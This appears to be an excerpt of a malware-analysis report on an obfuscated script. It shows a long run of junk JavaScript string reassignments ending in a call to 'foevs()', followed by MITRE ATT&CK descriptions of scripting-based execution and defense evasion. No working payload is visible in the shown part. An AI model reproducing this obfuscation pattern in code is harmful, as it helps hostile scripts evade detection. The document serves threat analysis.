307	skrse = "D";
308	skrse = "c";
309	skrse = "d";
310	skrse = "c";
311	skrse = "R";
312	skrse = "c";
313	skrse = "e";
314	skrse = "Y";
315	btkju = "Q";
316	btkju = "U";
317	btkju = "n";
318	btkju = "f";
319	btkju = "J";
320	btkju = "A";
321	btkju = "z";
322	btkju = "h";
323	btkju = "d";
324	btkju = "k";
325	btkju = "d";
326	btkju = "F";
327	btkju = "r";
328	btkju = "X";
329	btkju = "d";
330	btkju = "E";
331	btkju = "j";
332	btkju = "X";
333	btkju = "i";
334	suqikwwj = "p";
335	suqikwwj = "T";
336	suqikwwj = "G";
337	suqikwwj = "p";
338	suqikwwj = "k";
339	suqikwwj = "h";
340	suqikwwj = "q";
341	suqikwwj = "X";
342	suqikwwj = "q";
343	suqikwwj = "T";
344	suqikwwj = "m";
345	suqikwwj = "H";
346	suqikwwj = "r";
347	suqikwwj = "S";
348	suqikwwj = "r";
349	suqikwwj = "a";
350	suqikwwj = "H";
351	suqikwwj = "g";
352	suqikwwj = "w";
353	suqikwwj = "n";
354	suqikwwj = "H";
355	suqikwwj = "b";
356	suqikwwj = "a";
357	suqikwwj = "i";
358	suqikwwj = "s";
359	suqikwwj = "m";
360	suqikwwj = "B";
361	suqikwwj = "y";
362	suqikwwj = "N";
363	suqikwwj = "i";
364	suqikwwj = "f";
365	suqikwwj = "H";
366	vzztslmz = "q";
367	vzztslmz = "t";
368	vzztslmz = "V";
369	vzztslmz = "M";
370	vzztslmz = "k";
371	vzztslmz = "W";
372	vzztslmz = "_";
373	hgmweg = "j";
374	hgmweg = "M";
375	hgmweg = "k";
376	hgmweg = "J";
377	hgmweg = "V";
378	hgmweg = "V";
379	hgmweg = "H";
380	hgmweg = "D";
381	hgmweg = "X";
382	hgmweg = "J";
383	hgmweg = "a";
384	hgmweg = "l";
385	hgmweg = "f";
386	hgmweg = "F";
387	hgmweg = "i";
388	hgmweg = "F";
389	hgmweg = "G";
390	hgmweg = "g";
391	hgmweg = "r";
392	hgmweg = "b";
393	hgmweg = "A";
394	hgmweg = "R";
395	hgmweg = "f";
396	hgmweg = "B";
397	hgmweg = "i";
398	hgmweg = "x";
399	hgmweg = "T";
400	hgmweg = "Q";
401	hgmweg = "q";
402	hgmweg = "u";
403	hgmweg = "y";
404	hgmweg = "s";
405	hgmweg = "J";
406	hgmweg = "Q";
407	hgmweg = "S";
408	hgmweg = "F";
409	hgmweg = "9";
410	ropkpqdjn = "Q";
411	ropkpqdjn = "k";
412	ropkpqdjn = "O";
413	ropkpqdjn = "l";
414	ropkpqdjn = "b";
415	ropkpqdjn = "G";
416	ropkpqdjn = "P";
417	ropkpqdjn = "O";
418	ropkpqdjn = "C";
419	ropkpqdjn = "C";
420	ropkpqdjn = "D";
421	ropkpqdjn = "Y";
422	ropkpqdjn = "j";
423	nqzrtd = "p";
424	nqzrtd = "k";
425	nqzrtd = "C";
426	nqzrtd = "C";
427	nqzrtd = "n";
428	nqzrtd = "v";
429	nqzrtd = "D";
430	nqzrtd = "d";
431	nqzrtd = "Y";
432	nqzrtd = "U";
433	nqzrtd = "Q";
434	nqzrtd = "y";
435	nqzrtd = "G";
436	nqzrtd = "u";
437	nqzrtd = "H";
438	nqzrtd = "f";
439	nqzrtd = "T";
440	nqzrtd = "m";
441	nqzrtd = "a";
442	nqzrtd = "G";
443	nqzrtd = "S";
444	nqzrtd = "l";
445	nqzrtd = "u";
446	nqzrtd = "c";
447	nqzrtd = "M";
448	nqzrtd = "n";
449	nqzrtd = "f";
450	nqzrtd = "g";
451	nqzrtd = "p";
452	nqzrtd = "M";
453	nqzrtd = "Q";
454	jxxerrda = "x";
455	jxxerrda = "a";
456	jxxerrda = "H";
457	jxxerrda = "n";
458	jxxerrda = "W";
459	jxxerrda = "O";
460	jxxerrda = "V";
461	jxxerrda = "t";
462	jxxerrda = "t";
463	jxxerrda = "m";
464	jxxerrda = "N";
465	jxxerrda = "H";
466	jxxerrda = "g";
467	jxxerrda = "y";
468	jxxerrda = "w";
469	jxxerrda = "V";
470	jxxerrda = "Y";
471	jxxerrda = "D";
472	jxxerrda = "d";
473	jxxerrda = "U";
474	jxxerrda = "L";
475	jxxerrda = "t";
476	jxxerrda = "8";
477	oxscdmb = "Z";
478	oxscdmb = "Y";
479	oxscdmb = "k";
480	oxscdmb = "S";
481	oxscdmb = "U";
482	oxscdmb = "i";
483	oxscdmb = "k";
484	oxscdmb = "O";
485	oxscdmb = "s";
486	oxscdmb = "n";
487	oxscdmb = "N";
488	oxscdmb = "q";
489	oxscdmb = "O";
490	oxscdmb = "d";
491	oxscdmb = "q";
492	oxscdmb = "f";
493	oxscdmb = "l";
494	oxscdmb = "H";
495	oxscdmb = "t";
496	oxscdmb = "T";
497	oxscdmb = "m";
498	oxscdmb = "L";
499	oxscdmb = "O";
500	oxscdmb = "H";
501	oxscdmb = "w";
502	oxscdmb = "h";
503	oxscdmb = "T";
504	oxscdmb = "l";
505	oxscdmb = "m";
506	oxscdmb = "Q";
507	oxscdmb = "O";
508	oxscdmb = "i";
509	oxscdmb = "s";
510	oxscdmb = "Y";
511	oxscdmb = "Q";
512	oxscdmb = "K";
513	oxscdmb = "r";
514	oxscdmb = "T";
515	oxscdmb = "L";
516	oxscdmb = "P";
517	oxscdmb = "X";
518	oxscdmb = "7";
519	xkztv = "M";
520	xkztv = "S";
521	xkztv = "z";
522	xkztv = " ";
523	szfcplug = "e";
524	szfcplug = "W";
525	szfcplug = "n";
526	szfcplug = "C";
527	szfcplug = "f";
528	yfcistk = "P";
529	yfcistk = "Y";
530	yfcistk = "w";
531	yfcistk = "b";
532	yfcistk = "r";
533	yfcistk = "i";
534	yfcistk = "e";
535	yfcistk = "z";
536	yfcistk = "J";
537	yfcistk = "P";
538	yfcistk = "X";
539	yfcistk = "w";
540	yfcistk = "Q";
541	yfcistk = "l";
542	pytmnd = "p";
543	pytmnd = "S";
544	pytmnd = "w";
545	pytmnd = "J";
546	pytmnd = "h";
547	pytmnd = "l";
548	pytmnd = "Q";
549	pytmnd = "H";
550	pytmnd = "V";
551	pytmnd = "M";
552	pytmnd = "y";
553	pytmnd = "n";
554	pytmnd = "x";
555	pytmnd = "d";
556	pytmnd = "f";
557	pytmnd = "A";
558	pytmnd = "o";
559	pytmnd = "d";
560	pytmnd = "F";
561	pytmnd = "d";
562	pytmnd = "X";
563	pytmnd = "x";
564	pytmnd = "J";
565	pytmnd = "Q";
566	pytmnd = "v";
567	pytmnd = "o";
568	pytmnd = "L";
569	pytmnd = "a";
570	pytmnd = "Y";
571	pytmnd = "y";
572	pytmnd = "c";
573	pytmnd = "d";
574	pytmnd = "w";
575	pytmnd = "W";
576	hmoperw = "C";
577	hmoperw = "M";
578	hmoperw = "O";
579	hmoperw = "o";
580	hmoperw = "B";
581	hmoperw = "K";
582	hmoperw = "c";
583	hmoperw = "s";
584	hmoperw = "T";
585	hmoperw = "n";
586	hmoperw = "v";
587	hmoperw = "u";
588	hmoperw = "L";
589	hmoperw = "J";
590	hmoperw = "S";
591	hmoperw = "y";
592	hmoperw = "v";
593	hmoperw = "k";
594	hmoperw = "m";
595	hmoperw = "v";
596	hmoperw = "s";
597	hmoperw = "P";
598	hmoperw = "z";
599	hmoperw = "f";
600	hmoperw = "j";
601	hmoperw = "a";
602	hmoperw = "O";
603	hmoperw = "m";
604	prsbiyhss = "d";
605	prsbiyhss = "r";
606	prsbiyhss = "O";
607	prsbiyhss = "k";
608	prsbiyhss = "p";
609	prsbiyhss = "f";
610	prsbiyhss = "y";
611	prsbiyhss = "p";
612	prsbiyhss = "E";
613	prsbiyhss = "q";
614	prsbiyhss = "u";
615	prsbiyhss = "R";
616	prsbiyhss = "k";
617	prsbiyhss = "p";
618	prsbiyhss = "t";
619	prsbiyhss = "i";
620	prsbiyhss = "u";
621	prsbiyhss = "C";
622	prsbiyhss = "j";
623	prsbiyhss = "R";
624	prsbiyhss = "y";
625	prsbiyhss = "C";
626	ypcsnvknr = "G";
627	ypcsnvknr = "S";
628	ypcsnvknr = "h";
629	ypcsnvknr = "k";
630	ypcsnvknr = "n";
631	ypcsnvknr = "b";
632	ypcsnvknr = "p";
633	ypcsnvknr = "n";
634	ypcsnvknr = "p";
635	ypcsnvknr = "o";
636	ypcsnvknr = "/";
637	utbclnlg = "d";
638	utbclnlg = "K";
639	utbclnlg = "k";
640	utbclnlg = "Q";
641	utbclnlg = "D";
642	utbclnlg = "G";
643	utbclnlg = "j";
644	utbclnlg = "l";
645	utbclnlg = "A";
646	utbclnlg = "r";
647	utbclnlg = "r";
648	utbclnlg = "I";
649	utbclnlg = "X";
650	utbclnlg = "d";
651	utbclnlg = "q";
652	utbclnlg = "Z";
653	utbclnlg = "h";
654	utbclnlg = "Z";
655	utbclnlg = "K";
656	utbclnlg = "f";
657	utbclnlg = "I";
658	utbclnlg = "v";
659	utbclnlg = "c";
660	utbclnlg = "y";
661	utbclnlg = "P";
662	utbclnlg = "H";
663	utbclnlg = "x";
664	utbclnlg = "N";
665	utbclnlg = "t";
666	utbclnlg = "O";
667	utbclnlg = "V";
668	utbclnlg = "p";
669	utbclnlg = "Y";
670	utbclnlg = "O";
671	utbclnlg = "W";
672	utbclnlg = "H";
673	utbclnlg = "l";
674	utbclnlg = "Z";
675	utbclnlg = "g";
676	uiuyrss = "V";
677	uiuyrss = "O";
678	uiuyrss = "F";
679	uiuyrss = "N";
680	uiuyrss = "L";
681	uiuyrss = "E";
682	uiuyrss = "Y";
683	uiuyrss = "c";
684	uiuyrss = "i";
685	uiuyrss = "W";
686	uiuyrss = "O";
687	uiuyrss = "l";
688	uiuyrss = "D";
689	uiuyrss = "W";
690	uiuyrss = "C";
691	uiuyrss = "w";
692	uiuyrss = "W";
693	uiuyrss = "A";
694	uiuyrss = "p";
695	uiuyrss = "o";
696	uiuyrss = "d";
697	uiuyrss = "R";
698	uiuyrss = "w";
699	uiuyrss = "S";
700	uiuyrss = "F";
701	uiuyrss = "M";
702	uiuyrss = "w";
703	zlrpyiw = "Z";
704	zlrpyiw = "z";
705	zlrpyiw = "y";
706	zlrpyiw = "T";
707	zlrpyiw = "R";
708	zlrpyiw = "g";
709	zlrpyiw = "C";
710	zlrpyiw = "c";
711	zlrpyiw = "M";
712	zlrpyiw = "T";
713	zlrpyiw = "p";
714	punhfmpnt = "s";
715	punhfmpnt = "D";
716	punhfmpnt = "y";
717	punhfmpnt = "e";
718	punhfmpnt = "X";
719	punhfmpnt = "T";
720	punhfmpnt = "U";
721	punhfmpnt = "n";
722	punhfmpnt = "H";
723	punhfmpnt = "0";
724	rmsaqim = "a";
725	rmsaqim = "x";
726	rmsaqim = "f";
727	rmsaqim = "c";
728	rmsaqim = "M";
729	rmsaqim = "b";
730	rmsaqim = "S";
731	rmsaqim = "p";
732	rmsaqim = "m";
733	rmsaqim = "p";
734	rmsaqim = "Q";
735	rmsaqim = "G";
736	rmsaqim = "T";
737	rmsaqim = "L";
738	rmsaqim = "D";
739	rmsaqim = "j";
740	rmsaqim = "j";
741	rmsaqim = "t";
742	rmsaqim = "j";
743	rmsaqim = "R";
744	rmsaqim = "s";
745	rmsaqim = "O";
746	rmsaqim = "p";
747	rmsaqim = "Y";
748	rmsaqim = "i";
749	rmsaqim = "N";
750	rmsaqim = "Q";
751	rmsaqim = "n";
752	rmsaqim = "y";
753	rmsaqim = "n";
754	rmsaqim = "d";
755	rmsaqim = "H";
756	rmsaqim = "L";
757	rmsaqim = "O";
758	rmsaqim = "W";
759	rmsaqim = "L";
760	rmsaqim = "G";
761	rmsaqim = "W";
762	rmsaqim = "c";
763	rmsaqim = "S";
764	rmsaqim = "L";
765	rmsaqim = "a";
766	rmsaqim = "x";
767	modpiqyfp = "p";
768	modpiqyfp = "T";
769	modpiqyfp = "K";
770	modpiqyfp = "o";
771	modpiqyfp = "p";
772	modpiqyfp = "t";
773	modpiqyfp = "y";
774	modpiqyfp = "M";
775	modpiqyfp = "y";
776	modpiqyfp = "X";
777	modpiqyfp = "5";
778	qpfyabhq = "w";
779	qpfyabhq = "e";
780	qpfyabhq = "F";
781	qpfyabhq = "h";
782	qpfyabhq = "p";
783	qpfyabhq = "d";
784	qpfyabhq = "G";
785	qpfyabhq = "y";
786	qpfyabhq = "s";
787	qpfyabhq = "Z";
788	qpfyabhq = "K";
789	hmrhzh = "b";
790	hmrhzh = "k";
791	hmrhzh = "L";
792	hmrhzh = "r";
793	hmrhzh = "c";
794	hmrhzh = "W";
795	hmrhzh = "c";
796	hmrhzh = "I";
797	hmrhzh = "O";
798	hmrhzh = "Y";
799	hmrhzh = "F";
800	hmrhzh = "Q";
801	hmrhzh = "d";
802	hmrhzh = "J";
803	hmrhzh = "p";
804	hmrhzh = "b";
805	hmrhzh = "D";
806	hmrhzh = "R";
807	hmrhzh = "x";
808	hmrhzh = "D";
809	hmrhzh = "o";
810	hmrhzh = "V";
811	hmrhzh = "J";
812	hmrhzh = "z";
813	hmrhzh = "X";
814	hmrhzh = "O";
815	hmrhzh = "K";
816	hmrhzh = "N";
817	hmrhzh = "p";
818	hmrhzh = "U";
819	hmrhzh = "d";
820	hmrhzh = "s";
821	mraltziph = "K";
822	mraltziph = "H";
823	mraltziph = "A";
824	mraltziph = "M";
825	mraltziph = "L";
826	mraltziph = "X";
827	mraltziph = "e";
828	mraltziph = "R";
829	mraltziph = "N";
830	mraltziph = "L";
831	mraltziph = "g";
832	mraltziph = "w";
833	mraltziph = "o";
834	mraltziph = "j";
835	mraltziph = "U";
836	mraltziph = "s";
837	mraltziph = "f";
838	mraltziph = "l";
839	mraltziph = "O";
840	tgdergll = "o";
841	tgdergll = "Z";
842	tgdergll = "o";
843	tgdergll = "L";
844	tgdergll = "H";
845	tgdergll = "Y";
846	tgdergll = "h";
847	tgdergll = "r";
848	tgdergll = "M";
849	tgdergll = "X";
850	tgdergll = "m";
851	tgdergll = "S";
852	tgdergll = "o";
853	tgdergll = "U";
854	tgdergll = "M";
855	tgdergll = "b";
856	tgdergll = "M";
857	tgdergll = "k";
858	tgdergll = "Z";
859	tgdergll = "C";
860	tgdergll = "g";
861	tgdergll = "V";
862	tgdergll = "o";
863	tgdergll = "d";
864	tgdergll = "l";
865	tgdergll = "s";
866	tgdergll = "y";
867	tgdergll = "H";
868	tgdergll = "a";
869	tgdergll = "X";
870	tgdergll = "R";
871	tgdergll = "O";
872	tgdergll = "N";
873	tgdergll = "F";
874	tgdergll = "u";
875	tgdergll = "l";
876	tgdergll = "u";
877	nbhohfqpp = "X";
878	nbhohfqpp = "n";
879	nbhohfqpp = "p";
880	nbhohfqpp = "A";
881	nbhohfqpp = "C";
882	nbhohfqpp = "x";
883	nbhohfqpp = "P";
884	nbhohfqpp = "s";
885	nbhohfqpp = "a";
886	nbhohfqpp = "u";
887	nbhohfqpp = "y";
888	nbhohfqpp = "Q";
889	nbhohfqpp = "b";
890	nbhohfqpp = "q";
891	nbhohfqpp = "m";
892	nbhohfqpp = "Y";
893	nbhohfqpp = "F";
894	nbhohfqpp = "c";
895	nbhohfqpp = "v";
896	nbhohfqpp = "T";
897	nbhohfqpp = "R";
898	nbhohfqpp = "e";
899	nbhohfqpp = "W";
900	nbhohfqpp = "H";
901	nbhohfqpp = "U";
902	nbhohfqpp = "Z";
903	nbhohfqpp = "c";
904	nbhohfqpp = "A";
905	nbhohfqpp = "R";
906	nbhohfqpp = "J";
907	nbhohfqpp = "p";
908	nbhohfqpp = "r";
909	nbhohfqpp = "t";
910	nbhohfqpp = "D";
911	nbhohfqpp = "s";
912	nbhohfqpp = "J";
913	nbhohfqpp = "d";
914	nbhohfqpp = "N";
915	nbhohfqpp = "I";
916	nbhohfqpp = "k";
917	nbhohfqpp = "y";
918	nbhohfqpp = "n";
919	nbhohfqpp = "y";
920	nbhohfqpp = "d";
921	cepep = "g";
922	cepep = "b";
923	cepep = "P";
924	cepep = "t";
925	cepep = "y";
926	cepep = "j";
927	cepep = "E";
928	cepep = "P";
929	cepep = "D";
930	cepep = "L";
931	cepep = "Q";
932	cepep = "K";
933	cepep = "e";
934	cepep = "d";
935	cepep = "d";
936	cepep = "J";
937	cepep = "q";
938	cepep = "U";
939	cepep = "h";
940	cepep = "j";
941	cepep = "Q";
942	cepep = "I";
943	cepep = "N";
944	cepep = "t";
945	cepep = "F";
946	cepep = "e";
947	cepep = "M";
948	cepep = "d";
949	cepep = "Y";
950	cepep = "j";
951	cepep = "V";
952	cepep = "C";
953	cepep = "D";
954	cepep = "u";
955	cepep = "O";
956	cepep = "o";
957	cepep = "G";
958	cepep = "p";
959	cepep = "N";
960	cepep = "j";
961	cepep = "t";
962	cepep = "-";
963	bnbjpiipn = "A";
964	bnbjpiipn = "k";
965	exnkf = "r";
966	exnkf = "e";
967	exnkf = "g";
968	exnkf = "K";
969	exnkf = "P";
970	exnkf = "X";
971	exnkf = "o";
972	exnkf = "r";
973	exnkf = "O";
974	exnkf = "M";
975	exnkf = "L";
976	exnkf = "O";
977	exnkf = "S";
978	exnkf = "m";
979	exnkf = "F";
980	exnkf = "A";
981	exnkf = "N";
982	exnkf = "A";
983	exnkf = "p";
984	exnkf = "z";
985	exnkf = "F";
986	exnkf = "k";
987	exnkf = "R";
988	exnkf = "Z";
989	exnkf = "\\";
990	faylss = "B";
991	faylss = "R";
992	faylss = "d";
993	faylss = "Z";
994	faylss = "i";
995	faylss = "f";
996	faylss = "k";
997	faylss = "h";
998	faylss = "s";
999	faylss = "f";
1000	faylss = "Y";
1001	faylss = "P";
1002	faylss = "h";
1003	faylss = "m";
1004	faylss = "g";
1005	faylss = "w";
1006	faylss = "U";
1007	faylss = "D";
1008	faylss = "m";
1009	faylss = "Y";
1010	faylss = "q";
1011	faylss = "y";
1012	faylss = "A";
1013	faylss = "D";
1014	faylss = "y";
1015	faylss = "r";
1016	faylss = "X";
1017	faylss = "A";
1018	faylss = "L";
1019	dtimac = "C";
1020	dtimac = "K";
1021	dtimac = "H";
1022	dtimac = "F";
1023	dtimac = "C";
1024	dtimac = "p";
1025	dtimac = "P";
1026	dtimac = "r";
1027	dtimac = "k";
1028	dtimac = "a";
1029	dtimac = "k";
1030	dtimac = "e";
1031	dtimac = "D";
1032	dtimac = "k";
1033	dtimac = "i";
1034	dtimac = "h";
1035	dtimac = "r";
1036	dtimac = "e";
1037	dtimac = "O";
1038	dtimac = "O";
1039	dtimac = "u";
1040	dtimac = "g";
1041	dtimac = "W";
1042	dtimac = "C";
1043	dtimac = "E";
1044	ugyowe = "t";
1045	ugyowe = "P";
1046	ugyowe = "f";
1047	ugyowe = "w";
1048	ugyowe = "N";
1049	ugyowe = "L";
1050	ugyowe = "r";
1051	ugyowe = "S";
1052	ugyowe = "W";
1053	ugyowe = "e";
1054	ugyowe = "h";
1055	ugyowe = "E";
1056	ugyowe = "h";
1057	ugyowe = "Y";
1058	ugyowe = "K";
1059	ugyowe = "X";
1060	ugyowe = "l";
1061	ugyowe = "D";
1062	ugyowe = "I";
1063	ugyowe = "a";
1064	ugyowe = "W";
1065	ugyowe = "L";
1066	ugyowe = "C";
1067	ugyowe = "R";
1068	ugyowe = "V";
1069	ugyowe = "\"";
1070	sjckpe = "Y";
1071	sjckpe = "h";
1072	sjckpe = "V";
1073	sjckpe = "g";
1074	sjckpe = "q";
1075	sjckpe = "c";
1076	sjckpe = "X";
1077	sjckpe = "u";
1078	sjckpe = "o";
1079	sjckpe = "t";
1080	sjckpe = "r";
1081	sjckpe = "E";
1082	sjckpe = "J";
1083	sjckpe = "U";
1084	sjckpe = "y";
1085	sjckpe = "X";
1086	sjckpe = "v";
1087	sjckpe = "3";
1088	iqcirvoe = "A";
1089	iqcirvoe = "i";
1090	iqcirvoe = "P";
1091	iqcirvoe = "G";
1092	iqcirvoe = "G";
1093	iqcirvoe = "p";
1094	iqcirvoe = "v";
1095	iqcirvoe = "R";
1096	iqcirvoe = "h";
1097	iqcirvoe = "s";
1098	iqcirvoe = "m";
1099	iqcirvoe = "u";
1100	iqcirvoe = "G";
1101	iqcirvoe = "w";
1102	iqcirvoe = "e";
1103	iqcirvoe = "m";
1104	iqcirvoe = "p";
1105	iqcirvoe = "u";
1106	iqcirvoe = "I";
1107	iqcirvoe = "h";
1108	iqcirvoe = "k";
1109	iqcirvoe = "k";
1110	iqcirvoe = "R";
1111	iqcirvoe = "h";
1112	iqcirvoe = "R";
1113	iqcirvoe = "a";
1114	iqcirvoe = "d";
1115	iqcirvoe = "I";
1116	iqcirvoe = "t";
1117	iqcirvoe = "r";
1118	iqcirvoe = "d";
1119	iqcirvoe = "u";
1120	iqcirvoe = "r";
1121	iqcirvoe = "k";
1122	iqcirvoe = "k";
1123	iqcirvoe = "C";
1124	iqcirvoe = "d";
1125	iqcirvoe = "q";
1126	iqcirvoe = "M";
1127	iqcirvoe = "A";
1128	iqcirvoe = "f";
1129	iqcirvoe = "X";
1130	iqcirvoe = "o";
1131	fhmunnz = "t";
1132	fhmunnz = "W";
1133	fhmunnz = "w";
1134	fhmunnz = "o";
1135	fhmunnz = "x";
1136	fhmunnz = "S";
1137	fhmunnz = "A";
1138	fhmunnz = "V";
1139	fhmunnz = "O";
1140	fhmunnz = "i";
1141	fhmunnz = "o";
1142	fhmunnz = "b";
1143	fhmunnz = "v";
1144	fhmunnz = "j";
1145	fhmunnz = "a";
1146	fhmunnz = "r";
1147	fhmunnz = "m";
1148	fhmunnz = "V";
1149	fhmunnz = "V";
1150	fhmunnz = "a";
1151	fhmunnz = "T";
1152	fhmunnz = "R";
1153	fhmunnz = "n";
1154	fhmunnz = "t";
1155	fhmunnz = "q";
1156	fhmunnz = "u";
1157	fhmunnz = "c";
1158	fhmunnz = "p";
1159	fhmunnz = "j";
1160	fhmunnz = "W";
1161	fhmunnz = "Z";
1162	fhmunnz = "R";
1163	fhmunnz = "C";
1164	fhmunnz = "b";
1165	pfttgglj = "a";
1166	pfttgglj = "K";
1167	pfttgglj = "R";
1168	pfttgglj = "D";
1169	pfttgglj = "E";
1170	pfttgglj = "z";
1171	pfttgglj = "j";
1172	pfttgglj = "S";
1173	pfttgglj = "K";
1174	pfttgglj = "d";
1175	pfttgglj = "b";
1176	pfttgglj = "X";
1177	pfttgglj = "E";
1178	pfttgglj = "A";
1179	pfttgglj = "M";
1180	pfttgglj = "C";
1181	pfttgglj = "J";
1182	pfttgglj = "g";
1183	pfttgglj = "b";
1184	pfttgglj = "Q";
1185	pfttgglj = "R";
1186	pfttgglj = "G";
1187	pfttgglj = "i";
1188	pfttgglj = "Y";
1189	pfttgglj = "n";
1190	pfttgglj = "G";
1191	pfttgglj = "D";
1192	pfttgglj = "z";
1193	pfttgglj = "m";
1194	pfttgglj = "A";
1195	pfttgglj = "N";
1196	pfttgglj = "v";
1197	pfttgglj = "H";
1198	pfttgglj = "T";
1199	pfttgglj = "t";
1200	pfttgglj = "T";
1201	pfttgglj = "S";
1202	pfttgglj = "x";
1203	pfttgglj = "G";
1204	pfttgglj = "D";
1205	pfttgglj = "I";
1206	mipwf = "D";
1207	mipwf = "X";
1208	mipwf = "N";
1209	mipwf = "t";
1210	mipwf = "s";
1211	mipwf = "e";
1212	mipwf = "F";
1213	mipwf = "w";
1214	mipwf = "Q";
1215	mipwf = "e";
1216	mipwf = "X";
1217	mipwf = "m";
1218	mipwf = "S";
1219	mipwf = "H";
1220	mipwf = "v";
1221	mipwf = "u";
1222	mipwf = "B";
1223	mipwf = "G";
1224	mipwf = "h";
1225	mipwf = "I";
1226	mipwf = "o";
1227	mipwf = "P";
1228	mipwf = "l";
1229	mipwf = "V";
1230	mipwf = "I";
1231	mipwf = "u";
1232	mipwf = "Q";
1233	mipwf = "O";
1234	mipwf = "b";
1235	mipwf = "y";
1236	mipwf = "H";
1237	mipwf = "O";
1238	mipwf = "f";
1239	mipwf = "n";
1240	mipwf = "T";
1241	mipwf = "S";
1242	ruildlf = "x";
1243	ruildlf = "J";
1244	ruildlf = "m";
1245	ruildlf = "o";
1246	ruildlf = "l";
1247	ruildlf = "A";
1248	ruildlf = "s";
1249	ruildlf = "v";
1250	ruildlf = "O";
1251	ruildlf = "E";
1252	ruildlf = "C";
1253	ruildlf = "X";
1254	ruildlf = "2";
1255	mxreps = "K";
1256	mxreps = "R";
1257	mxreps = "C";
1258	mxreps = "G";
1259	mxreps = "r";
1260	ypedexlj = "E";
1261	ypedexlj = "f";
1262	ypedexlj = "D";
1263	ypedexlj = "Q";
1264	ypedexlj = "v";
1265	ypedexlj = "t";
1266	ypedexlj = "I";
1267	ypedexlj = "x";
1268	ypedexlj = "M";
1269	ypedexlj = "L";
1270	ypedexlj = "B";
1271	ypedexlj = "V";
1272	ypedexlj = "m";
1273	ypedexlj = "A";
1274	ypedexlj = "N";
1275	ypedexlj = "D";
1276	ypedexlj = "e";
1277	ypedexlj = "Y";
1278	ypedexlj = "L";
1279	ypedexlj = "T";
1280	vhwsey = "q";
1281	vhwsey = "w";
1282	vhwsey = "G";
1283	vhwsey = "F";
1284	vhwsey = "f";
1285	vhwsey = "X";
1286	vhwsey = "p";
1287	vhwsey = "m";
1288	vhwsey = "t";
1289	vhwsey = "I";
1290	vhwsey = "L";
1291	vhwsey = "Z";
1292	vhwsey = "Z";
1293	vhwsey = "Y";
1294	vhwsey = "c";
1295	vhwsey = "C";
1296	vhwsey = "B";
1297	vhwsey = "U";
1298	vhwsey = "P";
1299	vhwsey = "v";
1300	vhwsey = "W";
1301	vhwsey = "r";
1302	vhwsey = "j";
1303	vhwsey = "O";
1304	vhwsey = "f";
1305	vhwsey = "v";
1306	vhwsey = "S";
1307	vhwsey = "v";
1308	vhwsey = "o";
1309	vhwsey = "P";
1310	vhwsey = "h";
1311	vhwsey = "F";
1312	xjbcpyrh = "K";
1313	xjbcpyrh = "z";
1314	xjbcpyrh = "e";
1315	xjbcpyrh = "g";
1316	xjbcpyrh = "B";
1317	xjbcpyrh = "z";
1318	xjbcpyrh = "t";
1319	xjbcpyrh = "v";
1320	qsvqusoa = "B";
1321	qsvqusoa = "R";
1322	qsvqusoa = "g";
1323	qsvqusoa = "F";
1324	qsvqusoa = "S";
1325	qsvqusoa = "h";
1326	qsvqusoa = "l";
1327	qsvqusoa = "a";
1328	qsvqusoa = "e";
1329	qsvqusoa = "D";
1330	qsvqusoa = "c";
1331	qsvqusoa = "k";
1332	qsvqusoa = "N";
1333	qsvqusoa = "m";
1334	qsvqusoa = "u";
1335	qsvqusoa = "u";
1336	qsvqusoa = "N";
1337	qsvqusoa = "t";
1338	qsvqusoa = "q";
1339	dysjl = "M";
1340	dysjl = "c";
1341	dysjl = "T";
1342	dysjl = "V";
1343	dysjl = "b";
1344	dysjl = "e";
1345	dysjl = "t";
1346	dysjl = "C";
1347	dysjl = "I";
1348	dysjl = "l";
1349	dysjl = "o";
1350	dysjl = "i";
1351	dysjl = "L";
1352	dysjl = "H";
1353	dysjl = "Q";
1354	dysjl = "a";
1355	dysjl = "e";
1356	dysjl = "B";
1357	dysjl = "e";
1358	dysjl = "x";
1359	dysjl = "F";
1360	dysjl = "n";
1361	dysjl = "4";
1362	qetow = "T";
1363	qetow = "T";
1364	qetow = "Q";
1365	qetow = "g";
1366	qetow = "V";
1367	qetow = "y";
1368	qetow = "w";
1369	qetow = "J";
1370	qetow = "f";
1371	qetow = "F";
1372	qetow = "F";
1373	qetow = "d";
1374	qetow = "y";
1375	qetow = "o";
1376	qetow = "g";
1377	qetow = "I";
1378	qetow = "%";
1379	eyqycmh = "v";
1380	eyqycmh = "I";
1381	eyqycmh = "x";
1382	eyqycmh = "Q";
1383	eyqycmh = "x";
1384	eyqycmh = "P";
1385	eyqycmh = "d";
1386	eyqycmh = "R";
1387	psusap = "G";
1388	psusap = "E";
1389	psusap = "q";
1390	psusap = "s";
1391	psusap = "E";
1392	psusap = "Z";
1393	psusap = "f";
1394	psusap = "w";
1395	psusap = "W";
1396	psusap = "O";
1397	psusap = "n";
1398	psusap = "U";
1399	psusap = "I";
1400	psusap = "D";
1401	psusap = "A";
1402	psusap = "m";
1403	psusap = "l";
1404	psusap = "L";
1405	psusap = "k";
1406	psusap = "V";
1407	psusap = "A";
1408	psusap = "c";
1409	psusap = "o";
1410	psusap = "B";
1411	psusap = "J";
1412	psusap = "t";
1413	psusap = "U";
1414	psusap = "c";
1415	psusap = "w";
1416	psusap = "v";
1417	psusap = "d";
1418	psusap = "C";
1419	psusap = "f";
1420	psusap = "I";
1421	psusap = "I";
1422	psusap = "a";
1423	buqvr = "O";
1424	buqvr = "t";
1425	buqvr = "i";
1426	buqvr = "w";
1427	buqvr = "z";
1428	buqvr = "m";
1429	buqvr = "N";
1430	buqvr = "w";
1431	buqvr = "M";
1432	buqvr = "r";
1433	buqvr = "G";
1434	buqvr = "F";
1435	buqvr = "e";
1436	buqvr = "g";
1437	buqvr = "l";
1438	buqvr = "q";
1439	buqvr = "K";
1440	buqvr = "Q";
1441	buqvr = "D";
1442	buqvr = "P";
1443	buqvr = "o";
1444	buqvr = "E";
1445	buqvr = "T";
1446	buqvr = "F";
1447	buqvr = "n";
1448	foevs ( );	foevs() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
